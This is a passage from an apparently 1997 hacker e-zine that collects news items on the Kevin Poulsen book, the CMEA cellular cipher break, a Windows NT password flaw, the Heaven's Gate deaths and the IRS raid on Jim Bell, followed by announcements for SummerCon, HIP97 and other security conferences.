when you have five other people making it happen."

Not a loner

Ron Austin, Poulsen's friend and co-conspirator, agrees. "Littman has
to write an interesting book, I guess," he said. "He downplays the
role of a lot of people, but I think that's because he is writing a
book about Kevin. My role is downplayed." Austin also said the role of
Justin Petersen, a hard-rocking hacker and co-conspirator is
underplayed.

Austin, also on parole, said he is concerned that the controversy
regarding Littman's portrayal of Poulsen might obscure some of the
more important issues raised by Littman's book: That the FBI engaged
in widespread wiretapping of foreign consulates in the San Francisco
area, the FBI's apparent hiring of an informant to commit illegal acts
on the agency's behalf, and that the FBI's apparent ability to decrypt
files on Poulsen's computer that had been encrypted with the
U.S. government's Data Encryption Standard, a popular data-scrambling
algorithm.

The FBI office in Los Angeles declined to comment on the Poulsen
case. A representative of the FBI's Washington office said, "We
normally do not comment on books that are coming out until we have had
an opportunity to review the book."

As a condition of his plea bargain, Poulsen is prohibited from
discussing FBI wiretaps.

Littman said he feels "lucky as a writer to have been able to spend
some time with Poulsen and these other characters in the story."

"One thing about Poulsen is he really had a very highly developed
ethical model that he believed in," Littman said. "He found it
challenged by his circumstances and the people he associated with. I
found it fascinating to see how he resolved this age-old computer
hacker ethic with a changing world."




Cellular Code-breakers Blame Standards Process
577 Words
4312 Characters
04/03/97
TR Wireless News
Copyright (c) 1997 BRP Publications, Inc.

  Computer scientists claim they have demonstrated how to break the
industry-standard code that encrypts cellular phone calls-a discovery
they termed "a setback to the U.S. cellular telephone industry."  The
code-breakers included Bruce Schneier of Counterpane Systems, a
Minneapolis consulting firm, and graduate student David Wagner of the
University of California at Berkeley.

  They criticized the wireless industry's technical standards-setting 
process for establishing what they consider a weak standard, and they
attacked the government for "hamstringing emerging cellular security
technology."  Release of their announcement and academic paper was timed
to coincide with congressional hearings on encryption policy.

  The researchers' press release observes that the digital cellular
system uses encryption to "scramble voice communications." Their paper,
Cryptanalysis of the Cellular Message Encryption Algorithm (CMEA),
concerns cellular phone keypad entries, but not voice conversations. Mr.
Schneier told TRWN that the digital cellular voice encryption standard
is "so incredibly vulnerable" to decryption that it was "not worth
writing about."  The voice standard's fundamental code was broken by the
"Union Army in the Civil War," he added.

  The researchers didn't challenge either the subscriber 
"authentication" or the "fingerprinting" antifraud procedures now common
in the cellular service. Authentication and fingerprinting technologies
"are not compromised by the cryptography announced today," according to
the Cellular Telecommunications Industry Association.

  The technical paper describes a cryptographic "attack" on the CMEA.
Such an attack, in practice, would require analysis of data recovered
from recorded calls, received on radios capable of decoding digital
cellular transmissions. Such radios aren't easily available; the common
"scanner" can't receive them.

  "We did not touch a cellular phone in our analysis, and there is no
commercial equipment available that could receive digital cellular
signals. We worked with a paper standard only," Mr. Schneier said. The
attack took "minutes or hours" on a Pentium-class personal computer, and
to comply with U.S. laws and who agreed not to "misuse" the
information. Federal agencies, including NSA, had certain
"sensitivities" as to the encryption power of CMEA and its lawful export
under then-current laws, he said. These concerns led to CMEA's being
somewhat less "robust" than the authentication algorithm.

   Updating CMEA to address the concerns raised by the cryptographers'
announcement has become the "highest priority" for the TR45 committee at
its upcoming meetings, Mr. Marinho said. He added that the shift in
federal jurisdiction over encryption from the State Department to the
Commerce Department has enabled TIA to move forward in improving CMEA.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

TRENDS IN BRIEF...
285 Words
2117 Characters
04/07/97
Report on Microsoft
Copyright 1997 Information Access Company. All rights reserved.

  A trade publication reports that a "major" security flaw has been
uncovered in Microsoft's network operating system, Windows NT.

  The flaw could enable a user dialing in from a remote location to
unscramble encrypted information -- including a corporate network's
entire registry of user passwords -- and display it as plain text. EE
Times Online (http://www.eet.com) said the discovery is especially
troublesome for Microsoft because it has tried to position NT as more
secure network server than alternatives such as Unix. Two professional
security technologists wrote the code for the "hack" that found the
flaw.

  The code has been verified by several experts and is making the
rounds on the Internet via an mailing list frequented by skilled
hackers with an interest in NT-security issues. The potentially
password-cracking code is the third major security flaw found in NT in
as many months and follows recent revelations of security holes in
Microsoft's Internet Explorer Web browser. The software giant's
security technology has come under closer scrutiny by the hacking
community as NT and Internet Explorer have found broader market
acceptance... At least a dozen major companies have joined the race to
buy, invest or strike strategic alliances with small Java developers,
according to a trade publication report. Driven by the growing
popularity of Java and the need to get products to market more quickly
than they can be developed internally, these vendors frequently are
courting the same developers to shore up their Java offerings. One
developer, while declining to comment on any talks his company has had,
named Sun Microsystems Inc., Microsoft, Novell Inc., Netscape
Communications Corp. and IBM/Lotus as the top Java hunters, followed by
a second tier of tools vendors that include Symantec Corp.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Social Security officials insist Web info is secure

April 8, 1997
Web posted at: 12:10 a.m. EST 

WASHINGTON (CNN) -- Social security records now available through the
Internet pose few security threats to the individuals who request them
administration officials said Monday. 

For the past month, Americans have had the option of having their Personal
Earnings and Benefit Estimate Statement (PEBES) sent to them electronically.
The information previously had to be mailed to them in a process that took as
long as six weeks -- and at a cost of millions of dollars in postage each year.

Phil Gambino, a spokesman for the Social Security Administration, said the top
priority of the new program is maintaining privacy, and several security 
features have been built into the new system to do just that. 

"The information going back and forth between the requester and Social Security
is encrypted, so if it gets intercepted in the middle, it can't be interpreted -- it
would look like jibberish," he said. 

Auditors also are able to trace the origin of a request to the exact personal
computer used to make it, he said. 

Still, critics concerned about privacy rights are worried. 

"As soon as crooks start exploiting this service to get other people's
information, Social Security is going to have a real problem on its hands," 
Evan Hendricks, chairman of the U.S. Privacy Council in Washington, told USA 
Today.

The newspaper identified various types of potential abuse: potential employers
could get the salary history of job applicants; co-workers could determine how
much fellow employees make; landlords could use the information to determine
whether someone can afford an apartment. 

While Gambino insisted someone would have to "go through a great deal of
effort" to steal information, even the PEBES Web page offers a disclaimer: "We
cannot absolutely guarantee that the information you are sending will not be
intercepted by others and decrypted." 

Indeed, one person in January decoded an encryption code similar to the one
used to secure the Social Security information. 

Responding to a challenge from a computer security firm, a graduate student
cracked the code in 3 1/2 hours. He used 250 work stations to do test 100 
billion code combinations per hour to crack a 40-bit electronic key. The
PEBES page is encrypted with at least a 40-bit key, although it could have 
128 bits or more. 

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Web authors linked to suicide sect 
By Alan Boyle and Paul Chavez 
MSNBC 

      Members of the religious community who died in Rancho Santa Fe
earned money by designing business sites on the World Wide Web and
may have tied their death pact to coincide with the return of the
Hale-Bopp comet. 

     Farewell tape shows cultists' calm resolve Cult built an 'earth ship' of 
old tires Rendezvous with mortality Cults growing on the Net How to know if a 
loved one is in a cult Talk about this story in our News BBS.

     The group did business as Higher Source Contract Enterprises and
designed a variety of sites, including the San Diego Polo Clubs home
page on the World Wide Web.

     Commander Al Fulmer of the San Diego County Sheriffs Office said
during a Thursday press conference that the group also called itself
Heavens Gate. A Web site using that name makes a connection
between the Hale-Bopp comet, which last visited Earth about 4,200
years ago, and a time of closure.

     The Heavens Gate site was found under several addresses
Thursday, including one Internet address located in Romania. Most of
the sites were either pulled off the World Wide Web later Thursday or
were made inaccessible because of high volumes of Internet traffic.
Katie Greene, a spokesperson for Internet service provider
Concentric Network, located in Californias Silicon Valley south of San
Francisco, said they have been providing Internet service to the group
since March 1995.

     A section of one Heavens Gate site outlined the groups beliefs and
said that 2,000 years ago a crew member of the kingdom of heaven took
over the body of Jesus. This Christ-like member prepared others for
departure into the kingdom of heaven. 

     The site said the groups mission was the same.

I am in the same position to todays society as was the One that
was in Jesus then, the sites author wrote. My being here now is
actually a continuation of that last task as was promised, to those who
were students 2,000 years ago. ... Our only purpose is to offer the
discipline and grafting required of this transition.

     Another section of the site described two leaders, a male and
female, who in the early 1970s took over two bodies, which they called
vehicles.

     The Heavens Gate group may be a high-tech reincarnation of a
1970s community that had been dubbed the UFO Cult.

     Strong similarities exist between the 1970s group and information
found on World Wide Web sites connected to Heavens Gate. The two
leaders of the the so-called UFO cult have been previously identified in
news reports as Houston residents. News reports also said the female
leader is dead. 

    One page called Last Chance to Evacuate Earth Before Its
Recycled outlined the groups history and mission. The author of the
page identified himself as Do  as in the musical tone.

    The author said he was related to the Ti and Do that made news in
1975 as the UFO cult. The author also said that his female partner, Ti,
left earth in 1985.

    Much of the information on the site outlined how representatives
from a Kingdom Level Above Human were on Earth to escort others to
the higher level.

    The site also had a section detailing its position against suicide by
non-members.  Larry Trachte, professor of religion at Wartburg College, said 
that suicide often has a different meaning among religious groups and cults. 


    Death is seen more in an Eastern perspective, Trachte said. So
there isnt a sense that all this is tragic. Its more the spiritual, mental
orientation of these people that believe this way. They believe this life
is just one in an ongoing cycle or series or wheel of life. And ending this
life is like opening a window or door and moving into another existence.

    Trachte said he took some solace in the news that no children were
involved with the group. 

    He also was not surprised with the connection to the Hale-Bopp comet.

    Throughout history, the heavens and the signs of the stars and
peculiar events like comets have signified extraterrestrial powers,
Trachte said. Its not totally surprising that a comet would trigger such a
response.

    He said the group was unique in that it apparently mixed modern
phenomena, such as UFOs, computers, the comet and the Internet, with
age-old beliefs of being swept into heaven.

    Even in the Christian experience you have that recorded experience
of people from another country following a heavenly display or
revelation, which to them pointed to the birth of Christ, Trachte said.

    The Heavens Gate group also designed pages publicizing
Pre-Madonna, an album of Madonnas early songs;
1-800-HARMONY, a music and video mail-order operation; British
Masters, a clearinghouse for auto parts; and Keep the Faith, a site
devoted to contemporary Christian music and news. 

    The group used advanced Web page design and technology,
including Java and Javascript, animated images and virtual reality
modeling language.

    Beverly Hills businessman Nick Matzorkis, who runs the
Pre-Madonna site, told authorities that he now employs a former
member of the Higher Source group. Matzorkis said that members sent
the employee  whom he identified only as Rio  two videotapes this week
that described their intentions to commit suicide.  

    Members of Heavens Gate believed it was time to shed their
containers, perhaps to rendezvous with a UFO they believed was
traveling behind the Hale-Bopp comet, Matzorkis told NBCs Today
show.

    The author identified as Do said on the Heavens Gate site, dated
Sept. 29, 1996, that time was short.

    The end of this civilization is very close, the site said. The end of
a civilization is accompanied by a spading under, refurbishing the
planet in preparation for another civilization. And the only ones who
can survive that experience have to be those who are taken into the
keeping of the Evolutionary Level Above Human. 

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Hecklers hack at human bugs that crawl the Web

        A couple of weeks ago the U.S. public was distracted by issues of
     Internet pornography. The U.S. Supreme Court was considering the
     Communications Decency Act, a law meant to control obscenity
     supposedly bombarding youthful computer users.

        Meanwhile Marshall Herff Applewhite and 38 members of the Heaven's
     Gate cult were updating their Web site, laying in a supply of new
     Nike sneakers, and preparing to kill themselves.

       Politicians and clergy had a firm grip on the anti-porn franchise.
     Who, on the other hand, was tackling murderous mass delusion?

        The answer: a few skeptics and hecklers, and they did a good job
     of it.
        Their postings continue to collect in the forums of Usenet where
     cult followers put their prophecies about the alien spaceship that
     supposedly follows the comet Hale-Bopp.

        "It seems odd that a higher life form would prefer us paltry
     humans to wear black Nikes with a white "swoosh' as our ceremonial
     sending off garb," sneers a contributor to sci.astro, a group of
     otherwise sensible astronomers. "What is wrong with Reebok or
     Adidas? Is there a conspiracy here?"

        Criticism also focused on syndicated radio host Art Bell, who has
     promoted the astronaut-messiah movement. He used to talk more about
     evil government, until the Oklahoma City federal building bomb went
     off. Lately his agenda has been heavier on spaceships.

        "Art's role in their deaths was that of a liar and snake oil
     salesman, trafficker in junk science, a promoter of charlatans and
     their wares, and a parasitic peddler of pernicious poppycock," says a
     contributor "decieving you're some sort of chosen spokesman
     for some trumped-up alien scam so you can sell your booklet," says
     another.

        A preacher surrounding himself with goons in a sealed-off temple,
     a con artist fleecing followers in a distant commune, even an
     infomercial huckster on radio or television, is protected from
     opponents who might distract his victims.
 
       But how many of Jim Jones' followers might have been deterred from
     going to Guyana with him, and tasting his deadly brew, had the
     Internet been in wider use 20 years ago, complete with its noisy
     skeptics countering his preachings?

        Jones took more than 900 lives with him. Applewhite only got 38
     to go along. That's progress.

        "Think of it as evolution in action. Or maybe they were right and
     are aboard the mothership now. Either way, it's 39 fewer idiots
     cluttering up the planet," says another contributor. This does not
     encourage copycats.

        Skeptical argument is not limited to religious themes. In
     Usenet's thousands of newsgroups, forums cover politics, social life,
     dating and marriage, most of the arts and sciences, journalism and
     international relations. To some degree, they are all the scenes of
     noisy, sometimes sarcastic and even profane debate. Group members
     even patrol for porn, often vigorously repelling sexual-oriented
     postings with the same forensic muscle.

        Anyone can join in soc.couples, alt.fan.rush-limbaugh,
     alt.politics.clinton, alt.politics.british, alt.history.what-if,
     rec.arts.movies, sci.military, alt.journalism and other cyberbrawls.
     They argue feminism, political campaign funding, TV violence,
     landmines, sex and Nazism. There is even a fun group that regularly
     argues the perennial subject of world domination by hamburger
     franchise (it's called alt.nuke.the.usa).

        Heckling and skepticism? Indeed, as it should be. 

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

The Netly News Network
April 3, 1997

IRS raids a cypherpunk
by Declan McCullagh (declan@well.com)


     Jim Bell's first mistake was publishing an
essay describing how disgruntled citizens could
kill off Federal government agents by using
anonymous betting pools and digital cash. His
second mistake was informing the IRS that the
agency had no legal authority to tax him.

     About twenty armed IRS agents and other
Federal police swarmed into Bell's home in
Washington state on Tuesday morning, hunting for
evidence that Bell's "Assassination Politics"
essay had come to fruition. They expropriated
Bell's three computer systems, two guns and even
a solitary mouse cable. The Feds were taking no
chances: Since Bell's voluminous Net postings
mentioned tax collectors, agents from the BATF,
FBI, DEA, and local police forces joined the
raid.

[...]

     The raid stemmed from a six-month tussle
between Bell and the IRS, which began in November
1996 when the 38-year old computer engineer
demanded a hefty tax refund and threatened to
convene his own "common-law court" if it was
refused. That grabbed the Feds' attention. (So
did the actions of the "Multnomah County Common
Law Court," which apparently met in January to
convict IRS agents and Attorney General Janet
Reno of "theft by deception.") In February, IRS
agents seized Bell's 1986 Honda as payment for
back taxes -- and found inside it a printout of
his "Assassination Politics" essay. "

[...]

     And it was, ultimately, a Federal magistrate
who signed the search warrant on 9:02 am on March
28 at the request of the IRS. Jeffrey Gordon, an
inspector in the IRS' Internal Security Division,
details in an 10-page affidavit how he traced
Bell's use of allegedly fraudulent Social
Security Numbers, how he learned that Bell had
been arrested in 1989 for "manufacturing a
controlled substance," how he found out that Bell
possessed the home addresses of a handful of IRS
agents. Gordon's conclusion: Bell planned "to
overthrow the government." The IRS investigator
says in his affidavit that Bell's "essay details
an illegal scheme by Bell which involves plans to
assassinate IRS and other government officals...
I believe that Bell has begun taking steps to
carry out his Assassination Politics plan."

[...]



[=-------------------------------------------------------------------------=]
                        Security/Hacker Conferences
[=-------------------------------------------------------------------------=]

                  The 1997 Summer Security Conference

                            "SUMMERCON IX.V"

			    May 31st, 1997

			     Atlanta, GA

  This is the official announcement and open invitation to the nine
and 1/2 summer security conference, Summercon.  A long time ago,
Summercon was an invite-only hacker gathering held annually in St.
Louis, Missouri. Starting in 1995, SummerCon became an open event to
any and all interested parties:  Hackers, Phreaks, Pirates, Virus
Writers, System Administrators, Law Enforcement Officials,
Vigilantes, Neo-Hippies, Secret Agents, Teachers, Disgruntled
Employees, Telco Flunkies, Journalists, New Yorkers, Programmers,
Conspiracy Nuts, Musicians, Nudists, and Rug Sucking Wannabes.
  This con is going to be different than previous SummerCons.  First
off, there are two other major cons happening this summer, Defcon
and Beyond HOPE.  If you want to see good technical speakers, meet a
ton of hackers, and have a good time for a couple days, I suggest
you go to one or both of those cons.  DefCon information is at
http://www.defcon.org, Beyond HOPE info is at http://www.2600.com.

  So why have SummerCon at all?  Well, its a tradition, and most
of the people I talked to said we should have it anyways.  But,
because of the other 2 cons, I am really aiming just to make this
a fun weekend with yer friends in a new city, not a technical
hacker gala.  If you want to learn something, go to HOPE or
Defcon.  If you want to meet hackers, go to HOPE or DefCon.  If
you have to choose one con to go to this summer, this one should
NOT be it.  If you are already going to DefCon and HOPE, and still
have one more weekend you want to waste this summer, this is the
perfect place for you.
  If you are a criminal, if you are an anarchist, if you are
interested in pulling fire alarms or breaking things, don't come
to this con; we don't want you here and you wouldn't like us
anyhow.
  Why 9.5?  Well, SummerCon X should be this huge major security
conference, but with HOPE this year, we didn't think it was the
right year to do another one of those.  So, we'll have SummerCon X
next year, this one is just going to be a little party.


LOCATION

It will be held in Atlanta, GA, but we haven't actually figured
out WHERE in Atlanta.  That's because this is a pre-release of the
announcement, when this becomes official, we'll fill in the
details.


DIRECTIONS

Fly to Hartsfield International Airport, look for the hackers.


CONFERENCE INFO

It has always been our contention that cons are for socializing.
"Seekret Hacker InPh0" is never really discussed except in private
circles, so the only way anyone is going to get any is to meet new
people and take the initiative to start interesting conversations.

Because of this, the formal speaking portion of Summercon will be
held on one day, not two or three, leaving plenty of time for
people to explore the city, compare hacking techniques, or go
trashing and clubbing with their heretofore unseen online
companions.  Futhermore, except for maybe getting Mudge up on
stage to blow us all away with some cool technical details, it is
probably a pretty good bet that the speeches will end up being
boring, long, and a complete waste of time.  Don't come to
SummerCon to learn anything, because you won't.

If you are coming from out of town and want the full
hacker/tourist experience, we will be having a specially scheduled
2600 meeting Friday, May 30th, at 6pm at Lenox Mall food court.
If you don't know how to get there, just ask, everyone in Atlanta
knows.

The formal conference will be held on Saturday, May 31st, 1997,
from 10am to 5pm (with a break for lunch).  There will be a
variety of speakers, panel discussions, demonstrations, and other
events that will hopefully keep everyone entertained; if not you
can always start drinking early.

No video or audio tapes will be allowed in the conference room.
No still photography will be permitted in the conference room
without prior permission of all those being photographed.
Violation of these policies will result in you being asked to
leave the conference.

There will be no selling of t-shirts, disks, firewalls, payphones,
etc. in or around the conference area without prior permission of
the organizers, and you WON'T get permission.  We can't keep you
from selling t-shirts in your hotel room, but we can keep you away
from the actual conference area, and we can probably get you
kicked out of the hotel for soliciting, and if we can, we will.
T-Shirt sales is where we make up all the money we spend putting
on the conference, and so we will be the only ones selling them.
If you want to sell t-shirts, go have your own con.

If you are interested in demoing or selling something, please
contact us at the address listed at the bottom.  If you offer us
money, we might let you do it.


SPEAKERS

The speakers list for Summercon X is still being finalized, but it
is sure to be much less interesting than previous years.  In fact,
right now we have NO speakers, and probably we won't until the day
of the con.  So again, don't come to summercon for the speakers.

If you are an expert in some aspect of computer, network, or telco
security and are interested in speaking at Summercon, please
contact us to discuss the possibility further at the address
listed at the end of this document.. We won't pay you, don't ask.

We are also going to be having short speeches by real hackers or
phreakers giving their own perspective on some issue or insight
into a new technology.  This is an open invitation for you hackers
to be heard; just provide us with a brief outline of the topic you
will be covering and the amount of time you will take (suggested:
5 - 15 minutes) at the address listed below.


COSTS

Costs for SummerCon X are as follows, these are same rates as last
year, which I think is pretty good.  There will be NO refunds, and
if you annoy any of the organizers, we reserve the right to throw
you out, and you won't get your money back.

      Secret Service / FBI Rate: $500.00
Government / Institutional Rate: $ 80.00
       Hacker / Individual Rate: $ 20.00


Members of the United States Secret Service or Federal Bureau of
Investigations, and anyone that has in the past or currently is
providing information or services to the Secret Service or FBI are
required to pay the 'Secret Service / FBI Rate'.

Employees of a local, state, or federal government, members and
associates of any L.E.O., must pay the 'Government / Institutional
Rate'.

Anyone that does not fit into one of the above categories is
eligible for the 'Individual / Hacker Rate'.

Due to historical lack of interest, there will not be
pre-registration for the conference.  Registration will begin at
10am the day of the conference, and will continue for the duration
of the conference or until the meeting facilities have reached their
capacity.  Since the latter is likely to occur, it is suggested you
don't oversleep.

No purchase orders, checks, money orders, foreign currency, stock
certificates, IOUs, or coins will be accepted for registration.
Secret Service agents, small unmarked bills only, please.

Bring money for t-shirts, they are cool, and this year we will make
enough for everyone (we hope).

HOTEL INFORMATION

Still working on this part.

The cost for a double occupancy room at the hotel is $XX.  There is
no special conference rate, there is no need to mention you are with
a conference at all, the people in reservations probably won't know
what you are talking about anyhow.

If the hotel is damaged in any manner, you are going to pay for it,
and you will probably end up in jail.  And even if you are lucky
enough to get away with it, the rest of the hackers staying at the
hotel will end up paying for it, and I'm sure that's going to make
you a well-liked and respected hacker, especially among some of the
bigger hackers who might feel tempted to inflict bodily harm on
someone who causes any damage to the hotel.  Please act responsibly,
don't drink and drive, chew all your food before you swallow, don't
swallow your gum, and recycle.

Anyhow, if you pull a fire alarm, if you damage a room, if you spit
on the floor, and any of the organizers, or any of their friends
find out, we are going to call the police and have you arrested.  In
fact, we are making a game out of it.  If anyone does any damage to
the hotel, we will give whoever tells us what person or persons did
it $100 in cash if we are able to get that person taken to jail.


CONTACTING SUMMERCON ORGANIZERS


You can contact the Summercon organizers through e-mail.  If you
haven't figured out e-mail yet, you probably shouldn't be coming to
Summercon.

As a final note, if you are planning on coming to Summercon, we
would appreciate you sending e-mail to us with the subject of "GOING
TO SCON" or something similar, just so that we have a rough idea of
how many people are going to show up.


    E-mail:     scon@2600.com

[=-------------------------------------------------------------------------=]

      --== Hacking In Progress ==--

    8th, 9th and 10th of August 1997
        Near Almere, Netherlands

          http://www.hip97.nl/
             info@hip97.nl



Welcome to the HIP announcement list. We are not
alone! More than 1600 (!) of you subscribed to this
list.

As you probably already know what HIP is about, this
announcement will focus on how you can help us and how
you can stay informed about HIP. Please read the FAQ
for more common questions.


What is HIP?
------------

HIP is a place for hackers, artists, activists and
many, many others to network themselves, both in the
social and electronic sense of the word. HIP is a
do-it-yourself event. We, the organizers, will provide
the infrastructure, such as large tents, showers,
toilets and large amounts of reliable electrical power
and network connectivity. We'll also arrange for a
basic set of workshops and lectures, mainly dealing
with the social and political aspects of information
technology, security, Internet, access to technology,
new developments, cryptography and other 'hacker-
related' topics that come to mind. We are open to
suggestions for other fields of interest.

At this moment we are working on discussions and
workshops about smartcard security, Tempest attacks,
the SPAM threat, virtual communities, cryptography and
the law (Trusted Third Parties and Key Recovery), a
tele-presence experiment, activism on the Net, and
much more.


A do-it-yourself event?
-----------------------

We will absolutely need your help setting up
everything once we're there. HIPcamp will open on
August 5th, three days before HIP starts. If you
decide to join in that early expect some pretty
primitive circumstances. If you don't care about that,
or think that's the best part, you can help build
HIPnet and all other facilities.

We also urgently need you to think now about what it
is you would like to see and do at HIP. Just like
Hacking at the End of the Universe in 1993, we need
lots of people that have ideas for organizing their
own small part of HIP and the organizational talent to
do this without too much help from us.

One of the proven recipes for fun:

* GET a group of friends together in an early stage;
arrange how you're going to get there if you're far
away.

* THINK: Is there something you and your friends would
like to show others, discuss or do there?

* If so: TELL us about it, so we can coordinate, help
or announce things.

* Maybe BUY a nice big army surplus tent for almost
nothing.

* BRING lots of computers and other electronics.

* HOOK it all up once you get there.

* Check out what others have been doing and MEET nice
people, hang out, have fun!

Of course you can also come alone and have lots of
fun, and there will be a huge exhibition tent to set
up computers in. In another big tent there will be
near to a thousand chairs where you can listen to and
participate with panel discussions.

This event will be big, and as said, in this stage
we're looking for people to organize their own chaotic
little part of it. So don't mail us saying "put me on
the list, I want to be a volunteer" when you could say
"I'm xxx and I'd like to do yyy." Tell us what you
need us to do. We could put your workshop or whatever
it is you'd like to do in one of our announcements and
on the website, so people can communicate with you
beforehand. We could make sure there is enough room if
your project requires a lot of space. You name it.

You can use the newsgroup alt.hacking.in.progress to
find people to work with at HIP. Or you can use the
notice board at the website to search for someone to
travel with to HIP. Use it to ask for help or offer
some.

As the days get longer, there will be parts of the
overall organization that need coordination with
volunteers some time before the actual event (workshop
coordination, audiovisual stuff, registration-desk,
bar, network), but now is not yet the time.

This isn't going to be passive entertainment, we all
work together to make it work. Also: HIP is not the
event to buy a computer or get advice on buying one,
and there're not going to be any beginner courses on
using the Internet. If you're not into networking of
some sort, you'll think it's boring.

But if you're very technically inclined, part of some
remote community on the edge of the net, or if the
politics surrounding information technology are just
your thing, HIP is definitely made for you (and by
you, we hope).

HIPcamp will open on August 5th, three days before HIP
starts. If you decide to join in that early expect pretty
primitive circumstances. If you don't care about that,
or think that's the best part, you can help build HIPnet
and all other facilities.


How to stay in contact:
-----------------------

* Check out the website http://www.hip97.nl/
* Participate in alt.hacking.in.progress
* Read the FAQ on the website or the newsgroup
* Mail us at info@hip97.nl

Snailmail us at:

HIP
Postbus 1035
1000 BA  Amsterdam
Netherlands

Tel. +31 20 5352081
Fax. +31 20 5352082


[=-------------------------------------------------------------------------=]

                       Defensive Information Warfare
                          And Systems Assurance
                    For Community, Company and Country
                           September 11-12, 1997
                     Sheraton Premier, Tysons Corner, VA

                              Call for Papers


         Sponsors:
         National Computer Security Association
         http://www.ncsa.com
and
         Winn Schwartau, Interpact, Inc.
         http://www.infowar.com
         http://www.info-sec.com

         Interested parties from government, law enforcement, academia,
         corporations and individuals from all nations are invited to submit
         papers or concepts for papers/presentation to be given at
         InfoWarCon 7 and published on http://www.infowar.com. The following
         Solutions Oriented topics are of special interest to the conference,
         but all papers will be considered:

         Case studies and real world successes are strongly encouraged.

         New technologies, systems, models and approaches to provide higher
         levels of information and systems assurance in a world where
         conflict has moved to Cyberspace. (Commercial, Law Enforcement and
         Government).

              Detect and Response Solutions
              Denial of Service Methods and Protection
              New Info-Sec Models for Local and Global Enterprises
              Demonstrations of New Emerging Technologies
              Encryption, Access Control, and Identification

         The technical and social convergence of the military, law enforcement
         and private sectors in the interest of National Security: defensive
         mechanisms, policies and cooperative efforts.. (Commercial and
         Government)

              Electronic Civil Defense Policies
              Alternative National Defense and Intelligence Mechanisms
              National vs. International Policy Development
              Educating Populations for Support
              Dealing with the Non-nation State Actor

         Cooperative legal, ethical and political means by which to interest,
         create and sustain international cooperation for the discovery and
         prosecution of computer crimes and cyber-terrorism. (Law enforcement
         and Government)

              Redefining the State
              Case Studies of Prosecution; Successful and Not
              Corporate Vigilantism and Self-Preservation
              Electronic Bills of Rights for Nation States
              United Nations of Cyberspace
              Legal Conundra

         Multi-media presentations, real-time scenarios or gaming, audience
         participation and highly interactive topics are more likely to be
         accepted. English is the conference language and all sessions will
         be unclassified.

         Submissions are to be in Word 6.0 or greater, Powerpoint, or other
         popular formats, sent by email to: betty@infowar.com

         Submission Deadline: May 16, 1997
         Acceptance Date: June 9, 1997

         For complete information on attendance:
         Registration: Conferences@ncsa.com
         Sponsorships: Sponsors@ncsa.com

Questions/Help:  betty@infowar.com

[=-------------------------------------------------------------------------=]

 		  Second International Workshop on Enterprise Security

			      June 18-20, 1997
		    Massachusetts Institute of Technology (MIT),
			Cambridge, Massachusetts, USA
		
		Co-sponsored by the IEEE Computer Society and the
		Concurrent Engineering Research Center (CERC) at 
			   West Virginia University
           
                          
==============================================================================
Enterprises are increasingly dependent on their information systems to
support their business and workflow activities.  
There is a need for universal electronic connectivity to support 
interaction and cooperation between multiple  organizations.  
This makes enterprise security and confidentiality more important, 
but more difficult to achieve, as the multiple organizations may 
have differences in their security policies and may have to interact 
via an insecure Internet.  These inter-organizational enterprise systems 
may be very large and so tools and techniques are needed
to support the specification, analysis and implementation of security.

This workshop will focus on the problems and challenges relating to
enterprise security in inter-organizational systems. We aim to bring
together principal players from both the internetwork and enterprise
security community and will provide plenty of time for discussion.   Topics
to be addressed include:

	- Internet/Intranet security
        - Security infrastructure and protocols
	- Java Security
	- Specifying and Analyzing Enterprise Security Policy
        - Role-Based Access Control
        - Supporting enterprise security over the Internet
        - Conflicts and harmonization of inter- and intra-organizational
             Security
        - Distributed Database Security
        - Secure Transactions
        - Security in Workflow Process
        - Object-Oriented and CORBA Security
        - Secure Applications and Environments
        - Integrating Heterogeneous Security Environments
        - Managing inter-organizational Enterprise Security
	- Internet Security protocols
	- Security Algorithms

This workshop will be part of the IEEE Sixth Workshops on Enabling
Technologies: Infrastructure for Collaborative Enterprises (WET-ICE
96) organized by the Concurrent Engineering Research Center (CERC)/
West Virginia University.

Important Dates:
================
Papers Due			March 25, 1997
Panel Proposals			March 18, 1997
Authors notified of acceptance  April 21, 1997
Workshop			June 18-20, 1997
Camera Ready			June 28, 1997

INFORMATION FOR AUTHORS OF PAPERS TO BE INCLUDED IN THE PROCEEDINGS 
===================================================================
Mail six copies of an original (not submitted or published elsewhere)
paper (double-spaced) of 3000-5000 words to one of the PC co-chairs. 
Include the title of the paper, the name and affiliation of each author, a
150-word abstract and no more than 8 keywords. The name, position,
address, telephone number, and if possible, fax number and e-mail
address of the author responsible for correspondence of the paper must
be included.


An e-mail submission in postscript format will be accepted.

INFORMATION FOR PANEL ORGANIZERS 
================================
Send six copies of panel proposals to one of the PC co-chairs. 
Include the title, a 150-word scope statement, proposed session chair and
panelists and their affiliations, the organizer's affiliation,
address, telephone and fax number, and e-mail address.

INFORMATION FOR AUTHORS OF POSITION PAPERS
==========================================
Send six copies of position paper of 2-3 pages to one of the PC
co-chairs. Include the title of the paper, the name and affiliation of
each author, a 150-word abstract and no more than 8 keywords. The
name, position, address, telephone number, and if possible, fax number
and e-mail address of the author responsible for correspondence of the
paper must be included. An accepted position paper will get less
presentation time than full paper.  

Workshop General Chair and Organizer
====================================
	Yahya Al-Salqan, Ph.D.
	Sun Microsystems
	
	alsalqan@eng.sun.com

Program Committee
=================

Program Committee Co-Chairs
==========================
	Barbara C. Davis
	Director of Technology
	The Applied Knowledge Group
	231 Market Place, #315
	San Ramon, CA  94583-2785
	USA

	Tel. (888) 442-2785
	FAX  (510) 275-9695
	bcdavis@appliedknowledge.com

	Douglas Moughan
	National Security Agency, R23
	9800 Savage Rd.
	Ft. Meade, Maryland 20755-6000
	USA

	wdm@tycho.ncsc.mil



Workshop Program Committee (Partial List):
==========================================
Abdallah Abdallah, Birzeit University, Jerusalem
Takasi Arano, NTT Corp, Japan
Germano Caronni, ETH-Zurich, Switzerland
